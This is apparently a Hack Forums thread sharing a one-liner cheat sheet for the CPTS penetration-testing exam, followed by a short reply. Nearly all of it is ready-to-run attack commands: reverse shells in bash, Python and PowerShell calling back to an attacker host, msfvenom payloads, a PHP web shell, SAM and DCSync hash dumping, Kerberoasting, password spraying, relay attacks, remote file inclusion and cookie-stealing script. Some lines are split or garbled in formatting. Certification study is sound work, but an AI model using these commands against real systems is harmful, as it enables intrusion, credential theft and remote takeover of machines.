

Forum:[Hack Forums](#)

Thread: [CPTS Certification One-liner Cheat Sheet](#)

Clumsy - July 29, 2026, 6:50 pm

CPTS Certification Oneliner Cheatsheet

Your Complete Command Reference for the Exam

? RECONNAISSANCE & SCANNING

Nmap

Code bash

```
nmap -sV -sC -p- <IP> -oA scan
```

```
nmap -sU --top-ports 100 <IP>
```

```
nmap --script=<script> -p<port> <IP>
```

```
nmap -Pn -f --min-rate 1000 <IP>
```

DNS

Code bash

```
dig axfr <domain> @<ns>
```

```
dnsenum --dnsserver <ns> --enum -f subdomains.list <domain>
```

SMB

Code bash

```
smbclient -N -L //<IP>
```

```
rpcclient -U "" <IP> -c "enumdomusers"
```

```
enum4linux-ng.py <IP> -A
```

```
crackmapexec smb <IP> --shares -u " " -p "
```

SNMP

Code bash

```
snmpwalk -v2c -c public <IP> 1.3.6.1.2.1
```

```
onesixtyone -c community.list <IP>
```

Web

Code bash

```
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
```

```
ffuf -u http://<IP>/FUZZ -w /path/to/wordlist
```

```
whatweb http://<IP>
```

? SHELLS & PAYLOADS

Listeners

Code bash

```
nc -lvnp <PORT>
```

```
rlwrap nc -lvnp <PORT>
```

```
socat file:`tty`,raw,echo=0 tcp-listen:<PORT>
```

Linux Reverse Shell

Code bash

```
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
```

```
python -c 'import
```

```
socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])
```

Windows (PowerShell)

Code powershell

```
powershell -nop -c "$client=New-Object
```

```
Net.Sockets.TCPClient('<LHOST>','<LPORT>');$stream=$client.GetStream();[byte[]]?=0..65535|%{0}
```

```
;while(($i=$stream.Read(?,0,?.Length))-ne0){;$data=(New-Object -TypeName
```

```
System.Text.AsciiEncoding).GetString(?,0,$i);$sendback=(iex $data 2>&1 |
```

```
Out-String);$sendback2=$sendback+'PS '+($pwd).Path+'>
```

```
';;$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();$client.Close()"
```

Msfvenom

Code bash

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o payload.elf
```

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o payload.exe
```

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o payload.jsp
```

TTY Upgrade

Code bash

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

```
# Ctrl+Z then: stty raw -echo; fg
```

Web Shell (PHP)

Code bash

```
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
```

```
curl http://<IP>/shell.php?cmd=id
```

? PASSWORD ATTACKS

Hydra

Code bash

```
hydra -L users.txt -P passwords.txt ssh://<IP> -t 4
```

```
hydra -C creds.txt <service>://<IP>
```

Hashcat

Code bash

```
hashcat -m 1000 hashes.txt rockyou.txt # NTLM
```

```
hashcat -m 13100 hashes.txt -a 0 rockyou.txt --force # Kerberoast
```

Kerberoasting

Code bash

```
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC> -request
```

AS-REP Roasting

Code bash

```
impacket-GetNPUsers <domain>/ -dc-ip <DC> -request -no-pass
```

Password Spraying

Code bash

```
crackmapexec smb <IP> -u users.txt -p 'Password123' --continue-on-success
```

? ACTIVE DIRECTORY

Enumeration

Code bash

```
nmap -p88,135,139,389,445,636,3268-3269 <IP>
```

```
crackmapexec smb <IP> --pass-pol
```

LLMNR Poisoning / Relay

Code bash

```
responder -I <interface> -dwP
```

```
ntlmrelayx.py -tf targets.txt -smb2support -c 'whoami'
```

DCSync

Code bash

```
impacket-secretsdump <domain>/<user>:<pass>@<DC>
```

BloodHound

Code bash

```
bloodhound-python -d <domain> -u <user> -p <pass> -ns <DC> -c all
```

? FILE TRANSFERS

Code bash

```
python3 -m http.server 8000 # Start HTTP server
```

```
wget http://<LHOST>:8000/file -O /tmp/file # On target
```

```
curl http://<LHOST>:8000/file -o /tmp/file
```

```
scp /local/file user@<IP>:/remote/path
```

```
base64 payload -w 0 # Encode
```

```
echo "<string>" | base64 -d > payload # DecodeCode powershell
```

```
copy \\<LHOST>\share\file.exe C:\Windows\Temp\file.exe
```

? PIVOTING & TUNNELING

SSH

Code bash

```
ssh -L 8080:localhost:80 user@<pivot> # Local forward
```

```
ssh -R 8080:localhost:80 user@<pivot> # Remote forward
```

```
ssh -D 1080 user@<pivot> # SOCKS proxy
```

Chisel

Code bash

```
./chisel server -p 8000 --reverse # Attack box
```

```
./chisel client <LHOST>:8000 R:socks # Target
```

Metasploit

Code msf

```
route add <subnet> <netmask> <session_id>
```

```
use auxiliary/server/socks_proxy; set SRVHOST 0.0.0.0; set SRVPORT 1080; run
```

? LINUX PRIVESC

Manual Enumeration

Code bash

```
id; whoami; uname -a; hostname
```

```
sudo -l
```

```
find / -perm -4000 -type f 2>/dev/null
```

```
ps auxf; netstat -tulpn
```

Automated

Code bash

```
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
```

```
chmod +x linpeas.sh; ./linpeas.sh
```

SUID Abuse

Code bash

```
pkexec /bin/bash
```

Capability abuse:

```
getcap -r / 2>/dev/null
```

```
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

? WINDOWS PRIVESC

Manual Enumeration

Code cmd

```
whoami /priv; whoami /groups
```

```
systeminfo; wmic qfe get Caption,Description,HotFixID,InstalledOn
```

```
net users; net localgroup Administrators
```

Automated

Code powershell

```
.\winPEASx64.exe systeminfo
```

Potato Attacks

Code bash

```
PrintSpoofer.exe -c "cmd /c whoami"
```

Dump Hashes

Code bash

```
reg save hklm\sam C:\sam.save
```

```
reg save hklm\system C:\system.save
```

```
impacket-secretsdump -sam sam.save -system system.save LOCAL
```

? WEB ATTACKS

SQLMap

Code bash

```
sqlmap -u "http://<IP>/page?id=1" --dbs --batch
```

```
sqlmap -u "http://<IP>/page?id=1" -D <db> --tables --dump
```

Injection Tests

Code html

```
<script>alert(document.cookie)</script>
```

```
"><img src=x onerror=alert(1)>Code bash
```

```
; whoami | whoami $(whoami) `whoami`
```

File Inclusion

```
Code http://<IP>/page.php?file=/etc/passwd # LFI
```

```
http://<IP>/page.php?file=http://<LHOST>/shell.txt # RFI
```

SSTI Test

```
Code {{ 7*7 }} # Jinja2
```

```
${{7*7}} # Freemarker
```

```
<%= 7*7 %> # ERB
```

? NETWORK SERVICES

Code bash

```
ftp <IP>
```

```
wget -m --no-passive ftp://anonymous:anonymous@<IP>
```

```
mysql -h <IP> -u root -p
impacket-mssqlclient <user>@<IP> -windows-auth
xfreerdp /v:<IP> /u:<user> /p:<pass>
ssh -i id_rsa <user>@<IP>
```

? TOOLS SHORTCUTS

Metasploit

Code msf

search <keyword>; use exploit/<path>; show options

set RHOSTS <IP>; check; exploit; sessions -i <id>

CrackMapExec

Code bash

cme smb <IP> -u <user> -p <pass> --shares

cme smb <IP> -u <user> -p <pass> --sam

cme smb <IP> -u <user> -p <pass> --exec-method smbexec -x 'whoami'

Impacket

Code bash

psexec.py <domain>/<user>:<pass>@<IP>

wmiexec.py <domain>/<user>:<pass>@<IP>

smbexec.py <domain>/<user>:<pass>@<IP>

atexec.py <domain>/<user>:<pass>@<IP> 'whoami'

? OSINT

Code bash

curl -s https://crt.sh/?q\=<domain>\&output=json | jq .

dnsrecon -d <domain> -t axfr

? TMUX

Code bash

tmux new -s <name>

tmux new-session -A -s <name>

Prefix + " = split horizontal

Prefix + % = split vertical

Prefix + o = switch pane

? FILE CARVING

Code bash

binwalk -e file

strings file | grep -i password

exiftool file

? EXAM MINDSET Enumerate thoroughly — Foothold is rarely obvious

Chain vulnerabilities — Single exploits aren't enough

Document everything — Report is part of grade

Think AD-first — Trusts, ACL abuse, complex pivots

Quote:Confidence Level: [CONFIRMED] — Community CPTS preparation resources

XtremeDiscount - *July 30, 2026, 6:27 am*

Nice share